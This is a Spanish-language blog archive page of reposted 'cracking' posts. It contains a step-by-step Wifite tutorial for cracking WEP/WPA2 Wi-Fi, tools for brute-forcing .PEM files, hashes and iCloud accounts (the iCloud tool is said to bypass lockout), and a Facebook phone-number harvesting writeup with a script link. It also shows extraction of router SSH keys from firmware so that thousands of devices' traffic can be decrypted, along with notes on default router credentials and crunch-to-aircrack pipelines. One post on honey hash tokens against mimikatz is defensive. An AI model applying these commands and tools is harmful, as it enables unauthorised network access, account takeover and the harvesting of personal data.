Mostrando entradas con la etiqueta cracking. Mostrar todas las entradas
Mostrando entradas con la etiqueta cracking. Mostrar todas las entradas

lunes, 19 de octubre de 2015

RWSPS: Automated WiFi Cracking [ch4]

rwsps-rootsh3llwifi-hack-automate-wep-wpa2-wps-logo

Hello and welcome to Chapter 4 of RWSPS. In this chapter we will learn to automate the WiFi hacking using Wifite.
We will cover:
  • How to Hack WEP  using Wifite
  • How to Hack WPA/2 using Wifite

Wifite: Automated Wireless Hacking/Auditing Tool

Wifite is a Linux platform tool(comes pre-installed on Kali, Backtrack, Pentoo, BackBox, BlackBuntu and other pentesting distributions ) coded in Python. It is used to automate the hacking process and aims at minimizing the user inputs by scanning and using Python for automation techniques. Wifite is capable of Hacking WEP, WPA/2 and WPS, but not alone. It actually uses tools like aircrack-ng, reaver, Tshark, Cowpatty for various purposes like
  • Enabling monitor mode
  • Scanning air
  • Capturing handshake
  • Validating handshake
  • Cracking key
  • analyzing output and captured packets etc.
Before we start the tool, we do need to learn how to install the tool and make it working like a command as it comes in all the pentesting distros. Here are the steps we will be covering in this tutorial.
  • Downloading Wifite
  • Installing Wifite as a system command
  • Cracking WEP using Wifite
  • Cracking WPA/2 using Wifite
  • How to fix WPA/2 handshake capture error in Wifite
  • Focusing Wifite
Let’s begin.

Downloading Wifite

Wifite was previously hosted on code.google.com, but it is now a full-fledged project and hosted on GitHub. For all the latest updates you should go for the GitHub link, that you may find on Search engine’s results.
You may directly download it here https://github.com/derv82/wifite
Latest version (October, 2015) is r87. Kali Sana includes r87 version by default, but that version has an error that we will see to fix in this tutorial.

Installing a tool ( Wifite ) as a command in Linux

This is not only limited for this script i.e Wifite, but you can apply this to any working tool/script/program on your Linux platform to make and run it as-a-command. We will use Wifite as an example to do so.
We have already downloaded the latest Wifite script and assume that it is stored on our Desktop.
Now open terminal and type:
  • cd ~/Desktop
“~” reflects the HOME Directory to the shell. Check your home directory by “echo $HOME“. Here $HOME is an environment variable. /Desktop is the directory stored in the HOME directory.
  • unzip wifite*.zip
unzip is the tool to extract files from a .zip file. wifite*.zip means any file with starting name wifite and ending with .zip, here “*” means anything (including blank).
  • cd wifite*/
Changes the pointer to first directory starting with name “wifite”. ‘/‘ symbolizes directory.
Now you can check that if the script works or not just by typing python wifite.py, as wifite is a python script. If it (or any script) is working fine you might like to make it a system command so that you don’t have to traverse the directory every time. It is pretty better to just open the terminal and type command.
For that we should know where the actual executable commands are stored in Linux, so that we can also copy our script in the same directory. Just like in Windows systems, all the CMD commands are stored in \WINDOWS\System32\.
type “which followed by a simple “linux command
  • which ls
which” command tells us the location of the command passed as an argument to it. which is “lsin this case. It will reflect “/usr/bin/ls” as output. From here we know that ls, executable file is stored in /usr/bin directory.
Now, what we have to do is move our wifite script to “/usr/bin/” and make it executable, if not already.
Moving wifite.py to /usr/bin/ (we are in ~/Desktop/wifite/)
  • sudo cp wifite.py /usr/bin/wifite
sudo stands for SUperuser DO. Used to take root(SuperUser) permission to perform certain tasks.
cp is used to copy files, Syntax: cp “Source” “Destination”, where Source is wifite.py and destination is /usr/bin/wifite. Also wifite is the output filename that we would like to use as command.
wifite-copy-usr-bin
Here rwx stands for Read, Write, Executable. All of them are file attributes.
Making wifite Executable(if not already), so that no need to write python before the file name.
  • sudo chmod +x /usr/bin/wifite
chmod, changes the file(/usr/bin/wifite) mod to +x, i.e executable.
Now wifite is a system command you can open a new terminal and type sudo wifite to run the command with root privilege.
Let’s now move on to Cracking.

Cracking WEP using Wifite

Cracking WEP using any automated tool is hell lot of easy task as you don’t have to analyze anything, just see target, select option and hit [ENTER]. I don’t recommend using any automated tool until you have learned the actual working of the script or the process that runs behind the script. Scripts are only to reduce time and effort. Please don’t rely upon scripts and go ahead and Learn the real process by yourself and use automated tools to save your time.
I will show the tutorial on Kali Linux v1 and v2, which comes with pre-installed Wifite. I am running root account by default. If you are running standard account, use sudo before Wifite eg: sudo wifite
Open Terminal and type wifite and wait for it to show you the AP List.
Press CTRL-C and select desired AP with enc type WEP and type its NUM. like show in the image below.
wifite-scan-selectJust wait for Wifite to capture the IVs(Initialization Vector) and crack the key for you.
WEP cracking is the easiest of all. that is the one of the reasons that WEP is now depreciated, but still you may find it in many places where people haven’t changed their router from a while.

Things to note:

  1. Wifite start the cracking after 10K IVs.
  2. Around 60K IVs might be required to crack key.
  3. Success rate is 99.9%.
  4. Make sure capture speed is 100+ IVs/second.
After Wifite captures enough IVs to crack the WEP key, it will show you an output similar to this:
wifite-wep-key-cracked
Note in the image above, total IVs captured are 52,846 with a speed of 857 iv/sec and the Key is cracked.
If you have enough IV, your WEP key is going to be broken, regardless of the length, complexity of the key.
How to fix it ? use WPA/2.
Let’s move on to WPA/2 cracking.

Cracking WPA/2 using Wifite

Unlike WEP, WPA/2 encryption algorithm is way much stronger and perhaps considered the strongest encryption at this moment. WPA2 encryption algorithm is not really broken but we manipulate the Key authentication mechanism used by WPA2 to discover the key.You can see the detailed working here.
Similar to above example. Open terminal and type wifite and select the desired AP(WPA/2 enabled).
first few steps may go somewhat like this:
wifite-wpa-selectWe are targeting rootsh3ll, which is WPA2 type.
You can also select multiple APs, just by putting commas.
example: 4,1,3,2
Here order will follow according to the input, means Wifite will try AP #4 at first place, AP #1 at second place  and so on as input is provided.
After capturing the handshake Wifite may behave in 2 ways depending on versions (r87 or earlier)
version r87: Selects a default dictionary already stored in Kali Linux, Backtrack, eg: r0cky0u.txt, darkc0de.lst etc. In new version default dictionary used is located here: /usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt
version r85 or earlier: Does not use any wordlist until -dict option is provided along with a dictionary file. Example:
  • $ sudo wifite -dict /path/to/dictionary.txt
Soon after Wifite(r87) captures handshake you will see a similar option:
wifite-wpa-crack
Here Wifite used a stored dictionary on Kali Linux by itself, No option provided and password was not in the dictionary so Crack attempt failed.
That is what usually happens in WPA2 cracking, cracking don’t succeed as there are enormous no. of possibilities for a WPA2 type passwords that lies from 8-63 characters, also which can include Alphabets(a-z, A-z), Number(0-9) and Special characters(!, @, #, $,… etc)
But no need to feel low. There are numerous methods also to retrieve WPA2 Passphrase, some of which we will learn in this series.
In the above image you can see the path in which Wifite has stored the .cap file i.e /hs/ . You can copy the file and use it for manual brute-forcing.

How to fix WPA/2 handshake capture error in Wifite ?

If you are a frequent user of Wifite script, you may have encountered an issue related to the handshake capturing part of Wifite. If you are not familiar, then here is the error:
Wifite keep on listening the handshake and deauth-ing the connected clients in a loop and not capturing any handshake. Where at the same time if you start airodump-ng in another terminal it will capture the handshakes Wifite is deauth-ing the clients again and again airodump-ng will keep on capturing handshake again and again.
So what is the issue ? is it with the script ?
Yes, there was an issue in the Wifite script ( r85, 587[old] in which auto-deauth during handshake capture was not guaranteed to deauth as expected intervals resulting in the handshake capture failure.
This issue can be fixed in 3 ways:
  1. Use airodump-ng to capture files.
  2. Use latest version of Wifite

Using airodump-ng to fix Wifite Handshake issue

This one is very simple. While Wifite is running in background and failing to capture handshake. just open a new Terminal and run airodump-ng followed by the output_filename and Interface BSSID and channel_no.
  • $ sudo airodump-ng wlan1mon -c 11 -w cap_file -b BSSID
If there are connected clients, wifite will deauth them and the handshake will be captured by airodump-ng.
Then press CTRL-C and have fun with your captured file.
BSSID, Channel are very important, as our wireless card can operate at 1 frequency at a moment. Wifite fixes the wireless card on the Channel no.(frequency) similar to the AP’s we are trying to capture handshake of and by default airodump-ng hops between the channels so to avoid the errors we need to tell airodump-ng to fix itself on our desired channel i.e Channel 11 in this case. and also to avoid other AP’s handshake that might be operating on similar channel we use BSSID as a filter.

Use latest version of Wifite to fix Handshake capture issue

If you are using Kali Linux 1.1.0, BackBox, Ubuntu, Mint etc and facing the issue, you should try updating your Wifite version. You can do it in 2 ways.
  • Use wifite  –update command. Didn’t work ?
  • Try downloading manually and running the script.
Here is a thing to note while you might be updating using wifite –update command. You might see this output
wifite-up-to-date
What usually happens is Wifite check for the latest version on GitHub, not by the filesize but by the version i.e r87 which is pre-installed on Kali Linux 2.0. But here’s a catch, if you look at the last update of wifite on GitHub page it was 5 months ago and the version installed in Kali Sana are both same i.e r87 but filesize differs as Kali Sana version of wifite isn’t Fixed but 5 months earlier version is r87 but fixed one.
We will check it by downloading the latest wifite script from GitHub and comparing the file size of both scripts.
Here is what I got when checking file size of both wifite scripts i.e one downloaded and other pre-installed.  both are r87
wifite-latest
lets understand the above image in 2 parts
Above Yellow Line:
  • ls -lh $(which wifite)
ls command is used to list files in a certain directory, -lh are the command line arguments where “l” stands for listing the file details and “h” stands for human readable format for file-size followed by the file-path reflected by which command.
$(), this is the bash function used to execute another command within a command, which we used to get the path to installed wifite script.
  • ls -lh ./wifite.py
again ls -lh for same purpose but the file is now wifite.py which is stored in current directory i.e ~/Desktop .
In Linux world a dot (.) stands for current location, followed by “/” i.e directory. So “./” stands for current directory and ./wifite.py is the file-name(wifite.py) in the current directory(./)
Now notice the file-size for both, its 158 kiloBytes as Human readable format option is passed to ls command.
But if we look it more clearly, means see size in Bytes we will see a change in the size of both files which you can see below the yellow line
Below the yellow Line:
You are now familiar to the commands used. Let’s jump onto the file-size
Latest r87 version: 160949 Bytes
Old r87 version: 161323 Bytes
This change in the size is due to the edited code. From the older version many lines are edited to fix the Handshake error.
According to tests I conducted on Kali Sana, Wifite still didn’t work even after updating it to latest version. Digging deeper I came to know that as Kali Sana was released in August and Wifite was last updated in June. So at that time Wifite was updated for Kali Linux version 1.1.0. and so not working in Kali Sana for now. Soon after finishing this series I will look at the code to fix it to work in Kali Sana. Till then you can use two of the either options to get the work done.

Focusing Wifite

Focusing Wifite means using wifite’s options to filter the output or the cracking process to save screen clutter, memory, wireless card life and a sometimes headache.
For example if we are interested in cracking only WEP type Access points we will use
  • sudo wifite -wep -p0841
-p0841 is the type of attack which I have found most useful and working in most of the cases, so it might be better for you too for using -p0841 when cracking WEP, it will save you a lot of time while capturing IVs.
and similarly for WPA/2, lets also tell wifite to use our desired dictionary
  • sudo wifite -wpa -w /media/drive/wordlists/MY_DICT.txt
Wifite will now use MY_DICT.txt located in /media/drive/wordlists/ as a wordlist to crack WPA/2 passphrase after capturing handshake.
there are many options that you can use
  1. Using specific channel
  2. Specific BSSID/ESSID
  3. Certain attack type for WEP/WPA/2
  4. Setting time limit for WEP/WPA/2 using -wept and -wpat options
  5. and many more.
Just type:
  • sudo wifite –help

For looking up all the options available. Explore the tool and keep learning.

Fuente: http://www.rootsh3ll.com/2015/10/rwsps-automated-wifi-wep-wpa2-wps-cracking-ch4/

PEMCRACKER: SOFWARE GRATUITO PARA CRACKEAR ARCHIVOS .PEM



Un archivo .PEM es un certificado codificado en Base64 y que si lo abrimos está acotado con las líneas “—–BEGIN CERTIFICATE—–” y “—–END CERTIFICATE—–“. Un archivo .PEM puede contener certificados o claves privadas, el formato .PEM es ampliamente utilizado por ejemplo en servidores OpenVPNservidores web que utilicen HTTPS e incluso en servidores FTPES. Un detalle importante es que este formato .PEM sirve para almacenar el propio certificado del servidor así como la clave privada del mismo.
Pemcracker es un software gratuito y de código abierto que se puede instalar en cualquier sistema basado en linux para crackear los archivos .PEM y extraer la contraseña. La principal característica de este software es que nos permite utilizar todos los núcleos de nuestra CPU por lo que el procesamiento de las claves será lo más rápido posible.
Pemcracker utiliza una gran cantidad de llamadas OpenSSL para intentar dar con la contraseña correcta, por este motivo, en lugar de comprobar cada contraseña en el archivo .PEM alojado en el disco duro, primero copiaremos dicho archivo .PEM en la memoria RAM para aumentar el rendimiento lo máximo posible. Al ser este software multi-hilo, se copia un archivo .PEM a la memoria RAM del sistema por cada hilo de procesamiento.
Pemcracker nos permite crackear estas contraseñas alojadas en los archivos .PEM cargando el diccionario de palabras que nosotros queramos. En el GitHub oficial del proyecto premcracker tenéis el código fuente que deberéis compilar para vuestra plataforma, simplemente deberéis bajar el código fuente y realizar un “make” para tener el archivo ejecutable compilado para nuestra arquitectura.
Una vez que ya lo tengamos, la sintaxis de este software es realmente sencilla ya que le deberemos pasar únicamente dos parámetros, el fichero .PEM a crackear y posteriormente el diccionario de claves:

En el GitHub oficial del proyecto pemcracker tenéis disponibles todos los detalles sobre el software.

Fuente: http://blog.underc0de.org/2015/10/pemcracker-sofware-gratuito-para.html

viernes, 20 de marzo de 2015

Ravan: Hash Cracking distribuido en JavaScript


Ravan de Attack & Defence Labs es un crackeador de hashes distribuido que corre en JavaScript. Con esta herramienta cualquiera puede subir un hash para crackearlo y utilizar su navegador web compatible con HTML5 para buscar por fuerza bruta basándose en un charset configurable.

Además otros usuarios o workers pueden contribuir con su CPU para asistir en el proceso de cracking de tu hash, todos ellos manejados por supuesto por un servidor o master a través de un backend web. Esto es especialmente interesante si tienes múltiples equipos o un montón de amigos que quieran ayudarte ;-).

Actualmente soporta versiones plain o salted de los algoritmos MD5, SHA-1, SHA-256 y SHA-512.

Más información aquí.
 
Fuente: http://www.hackplayers.com/2010/12/ravan-hash-cracking-distribuido-en.html

lunes, 9 de marzo de 2015

Crackea cualquier Hash con esta Suite - Password Cracking Suite

screenshot

Esta suite, creada por @SalvaCorts, en realidad llega a ser una interfaz de automatización y guía para el password-cracking haciendo uso de varias herramientas conocidas, la lista de las mismas tenemos en el repositorio de GITHUB.

lockEste script, realizado en Python 3, resultó ser una excelente propuesta en vista del uso que le di. Permite automatizar, de una manera amena, el proceso que a continuación paso a explicar, y que nos muestra la ejecución de la herramienta.
Instalación

La instalación nada complicada ;) para los que saben; aquí los pasos que el mismo autor nos brinda en el README.


Un punto a considerar a los efectos de mejora del script, es la de implementar el chequeo de las herramientas a ser instaladas -al tiempo de la ejecución del script. Además de indicar (al inicio de la instalación) y solo la primera vez, si no se encuentra instalado y si se está en un SO, basado en Debian, Arch, Fedora. Asimismo, agregar el password Cracking contra Hashes Wireless.

En los días próximos, me pongo en ello y veremos el aporte de mi parte a este script.

Fuente: http://www.sniferl4bs.com/2015/03/crackea-cualquier-hash-con-esta-suite.html

Facebook Graph Search permite fuerza bruta de números telefónicos!

Buena entrada:




Facebook permite el descubrimiento de los usuarios a través de su número de teléfono indicado. Sin embargo ningún control es presentes para restringir a los usuarios de los usuarios que descubren que tienen su número de teléfono oculto o restringir a un cierto grupo de personas / usuarios.

Impacto:

Un atacante con una cuenta falsa puede realizar un ataque de fuerza bruta en facebook para cosechar los usuarios y otros detalles mencionados en su perfil y mapa con los números de teléfono registrados.
Descripción detallada:

Ejemplo en el que una búsqueda del número de células "+ 91-9573522388" ha llevado al descubrimiento del perfil.

Nota: En este caso, este perfil es un perfil falso que pertenece a "Sanjeev Sharma".

Al ver la sección "Acerca de" para el usuario específico (en este caso me voy a ver su propia identificación falsa que he creado),


Ahora vamos a hacerlo por algún número al azar, digamos 919999999475 (para la que no tengo ningún acceso y la número está oculto o privado. Verificaremos de perfil del usuario si el número de teléfono es visible después.

Por la herramienta forzar bruta, este número de teléfono pertenece a algún Roopali Khosla con UID = 100001633806991

Nota: El número de teléfono ha sido seleccionado al azar.


Ahora vamos a ver su perfil a cabo,

PD Este ataque puede ayudar a varios tipos de ataques de phishing Ingeniería Social / Spear sobre el usuario.

PNothing. En ninguna parte es el número de teléfono celular "919999999475" que aparece en su perfil.

Vamos a ver lo que TrueCaller tiene que decir sobre esto.


¡Bingo!

Al llegar detalle de su perfil desde la solicitud gráfico el UID de 100001633806991 también coincide.

Ahora se ejecuta un script que inicia desde 919999999999 919000000000 hasta



DESCARGAR SCRIPT:

https://mega.co.nz/#!85EyjaoY!_8pOEYiLa-VeGDQC58NNfG9wNzeRs_iCDqO4UaV0Pok


KelvinSecurityTeam
 
Fuente: http://hardc0dexploit.blogspot.com.ar/2015/02/facebook-graph-search-permite-fuerza.html

jueves, 19 de febrero de 2015

Cómo dumpear las claves SSH desde el firmware de un router

Algunos me preguntáis como sacar las claves ssh de los routers en referencia a la entrada de anoche. Os veo venir... pero bueno, veremos rápidamente como hacerlo extrayendo la imagen del firmware de un router ;)

En esta ocasión sin embargo vamos a dejar al *pobre* Comtrend VG-8050 y vamos a ir a por el D-Link Dsl-2750u (la belleza de la derecha). En concreto vamos a echar un vistazo a una de las versiones de firmware que también viene con un demonio Dropbear 0.46 con "premio": la ME_1.11 de octubre de 2013:

http://www.dlinkmea.com/partner/media/product_item_downloadables/1351-DSL2750U-U1_FW1.11.rar

Después de descargar los menos de 7mb que ocupa el rar, lo descomprimimos y analizamos la imagen con Binwalk, el estándar de facto para el análisis de firmwares:


root@kali:~/firmwares# file GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img 
GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img: data

root@kali:~/firmwares# binwalk GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5402908 bytes
1722624       0x1A4900        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5080877 bytes,  1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

Como veis el filesystem es SquashFS, uno de los más ampliamente utilizados en sistemas con Linux embebido, y está comprimido con LZMA en lugar del estandar zlib (algo que también suelen hacer):
root@kali:~# binwalk --dd='squashfs:squashfs' GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5402908 bytes
1722624       0x1A4900        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 5080877 bytes,  1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

root@kali:~/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# file 1A4900.squashfs 
1A4900.squashfs: Squashfs filesystem, little endian, version 4.0, 5080877 bytes, 1142 inodes, blocksize: 262144 bytes, created: Thu Oct 24 07:46:30 2013

El siguiente paso es extraer la imagen y, para ello, vamos a instalar y utilizar la utilidad unsquashfs-2.1 de Jeremy Collake:

apt-get install liblzo2-dev 
git clone https://github.com/devttyS0/sasquatch
make

root@kali:~/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# ./sasquatch/sasquatch 1A4900.squashfs 
SquashFS version [4.0] / inode count [1142] suggests a SquashFS image of the same endianess
Parallel unsquashfs: Using 1 processor
Trying to decompress using default lzma decompressor...
Successfully decompressed with default lzma decompressor
1083 inodes (1113 blocks) to write

[=============================================================\] 1113/1113 100%

created 679 files
created 59 directories
created 123 symlinks
created 281 devices
created 0 fifos

Ahora veremos el filesystem colgando del directorio squashfs-root, por lo que sólo tenemos que ir a pescar nuestras claves...

root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted# cd squashfs-root/etc/dropbear/
root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted/squashfs-root/etc/dropbear# ls -las
total 16
4 drwxr-xr-x  2 594 594 4096 Oct 24  2013 .
4 drwxr-xr-x 10 594 594 4096 Oct 24  2013 ..
4 -rwxr-xr-x  1 594 594  459 Oct 24  2013 dropbear_dss_host_key
4 -rwxr-xr-x  1 594 594  427 Oct 24  2013 dropbear_rsa_host_key

... y con la herramienta dropbearkey mostrar la clave pública:

root@kali:~/firmwares/_GAN9.9T113A-B-DL-DSL2750U-R5B0024-Dubai.EN_2T2R_text_for_lan_update.img.extracted/squashfs-root/etc/dropbear# dropbearkey -y -f dropbear_rsa_host_key
Public key portion is:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCAmPVBs6DX2/2G6NcLwFI6jP055kbQzxGNNaYngPhR3TT9MMiGnR2waCQYrZq0n7D+RKu9tEiYU05tPiaMqm5z4qHq2OePKIL4jFhcTJk8p0yz1IpPp9FJjvZ6Daw4Mvr+r+RNNnSTn7Iq7bIxWyNgXnQc7Lx7IPmm8JDqskFEtOC7 root@kali
Fingerprint: md5 63:05:01:4f:cd:09:6d:ad:ed:95:ae:89:19:2c:b8:bc

Finalmente sólo nos queda buscar el fingerprint correspondiente:

Link shodan


y tenemos otros 40.000 equipos cuyas comunicaciones podremos descifrar :)

Fuente: http://www.hackplayers.com/2015/02/como-dumpear-las-claves-ssh-del-firmware.html

miércoles, 18 de febrero de 2015

Casi 250.000 routers de Telefónica en España son vulnerables porque tienen las mismas claves SSH

Hoy en el blog de Shodan leía una interesante entrada de John Matherly en el que, mediante el siguiente script, observaba que en Internet existen numerosos fingerprints SSH duplicados:

import shodan

api = shodan.Shodan(YOUR_API_KEY)

# Get the top 1,000 duplicated SSH fingerprints
results = api.count('port:22', facets=[('ssh.fingerprint', 1000)])

for facet in results['facets']['ssh.fingerprint']:
    print '%s --> %s' % (facet['value'], facet['count'])

Realmente esto no es nada nuevo ya que desde hace unos cuantos años se sabe que algunos fabricantes comenten el error de no borrar las claves SSH antes de salvar (y luego distribuir) la imagen de los firmwares de sus dispositivos embebidos, que luego no regeneran las claves en el primer boot. Incluso hay proyectos que recopilan las claves duplicadas: https://code.google.com/p/littleblackbox/.

Pero lo sorprendente es que hay un fingerprint que se repite en un país y con un proveedor en gran número con respecto al resto:

https://www.shodan.io/search?query=fingerprint




Se trata de España y de Telefónica que distribuye casi 250.000 routers para fibras domésticas o FFTH modelo Comtrend VG-8050 con un firmware que contiene un servidor SSH ligero (dropbear 0.46) con las mismas claves ssh:

SSH-2.0-dropbear_0.46
Key type: ssh-rsa
Key: AAAAB3NzaC1yc2EAAAADAQABAAAAgwCKj10BLi11/oSbukFArKJZTXvBvw+AUGfie6fdE7psCNwC
LM5bYnJgjQZMP/VOhJkxkA539e2mM4fW9U4ECAUwgvlF9AZGhcmn0kF0jIjMUDgCV8kFIS85OuBU
/ayyswdYp6bxp3zn0tGAh0Ty8ikf7CgWU5c+PCbpygbBxMDfZM9P
Fingerprint: dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0

Esto significa que hay casi 250.000 usuarios en España que son vulnerables. Muchos de ellos corren por defecto ssh con las credenciales también por defecto 1234/1234 (estos directamente están jodidos vendidos) y todos ellos son susceptibles a ataques MiTM en el que cualquiera podría descifrar sus comunicaciones.

 
El firmware vulnerable es (al menos) el SB01-S412TLF-C07_R03 de 2014 y, que yo sepa, la última versión es la C08_R08. Así que si eres usuario de Telefónica pregunten a su soporte Movistar y ¡actualicen!


Fuente: http://www.hackplayers.com/2015/02/250k-routers-de-telefonica-mismas-claves-ssh.html

lunes, 16 de febrero de 2015

iDict, una herramienta de fuerza bruta para obtener contraseñas de usuarios de iCloud

@Pr0x13 pone a nuestra disposición un pequeño proyecto en Github con una herramienta en php para realizar ataques de diccionario contra IDs de iCloud de Apple, evadiendo las restricciones de bloqueo de cuentas y autenticación secundaria en cualquier cuenta.

Para usarlo simplemente hay que descargar y descomprimir la carpeta en el htdocs del servidor web (probado en XAMP) e instalar CURL en tu SO.

No olvides también habilitar la extensión CURL descomentando la siguiente línea en tu fichero php.ini:

;extension=php_curl.dll

Después ve a http://127.0.0.1/iDict/ en tu navegador web (preferiblemente Firefox, Chrome o Safari).
 

 
Wordlist.txt es de iBrute y satisface los requisitos de contraseña de iCloud


Su autor y por supuesto también nosotros no se hacen responsables de su uso (comprueba las restricciones de tu país). 

Actualización: publicada iDictPy, una (irónica lol!) versión en python https://github.com/Pilfer/iDictPy

Game Over: iCloud hole closed following brute force attack   

Fuente: http://www.hackplayers.com/2015/01/idict-ataque-diccio-contra-ids-icloud.html

Detectar el uso de Mimikatz en la red ("Honey Hash Tokens")


La opción /netonly del comando runas se utiliza para lanzar un programa como un usuario que existe en una máquina remota. El sistema acepta el nombre y la contraseña para ese usuario remoto y crea un token de autenticación en la memoria de su proceso LSASS sin ninguna interacción con el host remoto.

¿Qué pasa si ejecutamos el siguiente comando en nuestro equipo Windows?

runas /user:microsoft.com\administrator /netonly cmd.exe
 
El comando que se ejecuta en realidad no tiene ningún acceso elevado en la máquina y la contraseña no es válida, evidentemente no es una amenaza para Microsoft. Windows no intenta autenticarse en el dominio Microsoft.com para iniciar el proceso. Asume que las credenciales son correctas, calcula el hash y lo almacena en la memoria para su uso futuro.

Más adelante, si se intenta acceder a un recurso en ese dominio, automáticamente se "pasará el HASH" al sistema remoto para entrar. Pero hasta que se intente acceder al host remoto, las contraseñas se quedan almacenadas en memoria.


¿Qué significa eso? Pues que podemos "inundar" nuestro sistema de credenciales falsas para ponérselas en bandeja memoria a un atacante. Por ejemplo:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonPasswords full

Authentication Id : 0 ; 3420125 (00000000:002c38b2)
Session           : NewCredentials from 0
User Name         : usuario
Domain            : dominio
SID               : S-1-5-21-2342468007-2769232512-6969471351-1000
        msv :
         [00000003] Primary
         * Username : administrator
         * Domain   : microsoft.com
         * NTLM     : d139627ea1a54be9b04f2158a4d10b93
         * SHA1     : 2c19cfd8f7a112f29a7183e8ed4db7e68e714049
        tspkg :
        wdigest :
         * Username : administrator
         * Domain   : microsoft.com
         * Password : falsa
        kerberos :
         * Username : administrator
         * Domain   : microsoft.com
         * Password : falsa
        ssp :
        credman :

Es es el resultado de nuestros "Honey Hash Tokens" (ver también honeytoken). Cualquiera que utilice mimikatz, meterpreter, procdump.exe u otra herramienta para robar las contraseñas en memoria podrá llevarse a engaño. Evidentemente herramientas que obtienen los hashes en disco como hashdump no funcionarán.

Pero ahí está la idea: elegir un nombre de usuario creíble y que parezca que tenga privilegios elevados en el dominio, generar las credenciales falsas en la memoria de los servidores que están más en el punto de mira (por ejemplo los de la DMZ) y preparar alertas en la red para avisarnos de intentos de uso de estas cuentas falsas.

¡Buena caza!

Fuente: Detecting Mimikatz Use On Your Network
 
Fuente: http://www.hackplayers.com/2015/02/detectar-el-uso-de-mimikatz-en-la-red.html

sábado, 14 de febrero de 2015

Crunch - creador de diccionarios

Este programa la verdad es que si costase dinero estaria pagado cada centimo de lo que costase. Este programa principalmente lo que hace es generar diccionarios desde cero con un monton de opciones y compatibilidad con aplicaciones que nos vendran de perlas.

Lo primero es lo primero, descargamos el programa desde su web official
y lo descomprimimos en el directorio que queramos, para mas tarde poder ejecutarlo.

Bien, el archivo descargado se compone de 5 archivos:

charset.lst - crunch.1 - crunch.c - gpl.txt - Makefile

Abrimos una terminal y nos dirigimos a la carpeta donde lo descomprimimos con cd y escribimos sudo make, y nos creara un archivo llamado crunch que es un ejecutable y es con el que lanzaremos el programa.

Las configuraciones que trae por defecto este programa para la combinacion en la creacion de diccionarios son amplias, aunque se pueden modificar para añadirles mas, aqui os pondre unos ejemplos de dichas combinaciones:

- numeric = [0123456789]

Creara combinaciones jugando con todas las posibilidades con los numeros del 0 al 9

- lalpha = [abcdefghijklmnopqrstuvwxyz]

Usara todo el abecedario ( sin la ñ porcierto ) para generar el diccionario

Y podemos generar numeros, letras y simbolos

Este programa sirve para generar diccionarios en archivo para pasarlo con Aircrack o con Cowpatty (del cual hablaremos en otra entrada), un ejemplo de esto seria :

./crunch 8 8 -f charset.lst numeric -o wordlist.txt

Donde ./crunch es la ejecucion del programa, 8 8 seria para la longitud del diccionario que queremos generar, si ponemos 8 16 generaria las combinaciones posibles desde 8 caracteres hasta 16, charset.lst es el archivo de donde lee lo antes explicado como en este ejemplo numeric, la opcion -o seria para guardar el diccionario creado a un archivo de texto el cual hemos llamado worldlist.txt.

Pero podemos hacer el mas dificil todabia... Y si no tubieramos que generar un diccionario en archivo de texto que siempre ocupa espacio y tarda tiempo, y pudiesemos pasar el diccionario sin necesidad de ocupar disco duro con el Aircrack... Pues para eso tambien hay solucion

./crunch 12 14 -f charset.lst numeric | ./aircrack-ng -a 2 captura.cap -e ESSID -b MAC-AP -w -

Podemos especificarle por donde nos quedamos la ultima vez por si nos cansamos de estar ahy y queremos utilizar el ordenador para otro proposito:

./crunch 8 8 -f charset.lst numeric -s 35498762 | ./aircrack-ng -a 2 captura.cap -e ESSID -b MAC-AP -w -

y para hacer que solo varien partes de la clave:

./crunch 8 8 -f charset.lst numeric -t 1@3456@@ | ./aircrack-ng -a 2 captura.cap -e ESSID -b MAC-AP -w -

Con esto pasariamos el generador de diccionario directamente sin ficheros de por medio y generando las posibles claves segun los parametros que hallamos establecido

Os dejo un video demostrativo de esta maravilla:



Segun ESTA PAGINA que calcula mas o menos lo que se tardaria en sacar una wpa segun a que velocidad nos valla el aircrack , una wpa de 12 caracteres tardaria unos... mejor lo mirais por vosotros mismos que a mi me da la risa... ¿Pero quien quiera peces tendra que mojarse el culo no?

Lo proximo sera como instalar cowpatty en nuestro flamante ubuntu

P.D: Tambien podemos editar el fichero charset.lst y añadirle una linea para que busque las claves en hexadecimal añadiendo solo esta linea:

hexadecimal = [0123456789ABCDEF ]

Informacion de esta entrada extraida de www.elhacker.net

Fuente: http://ubuntusaurio.blogspot.com/2010/06/crunch-creador-de-diccionarios.html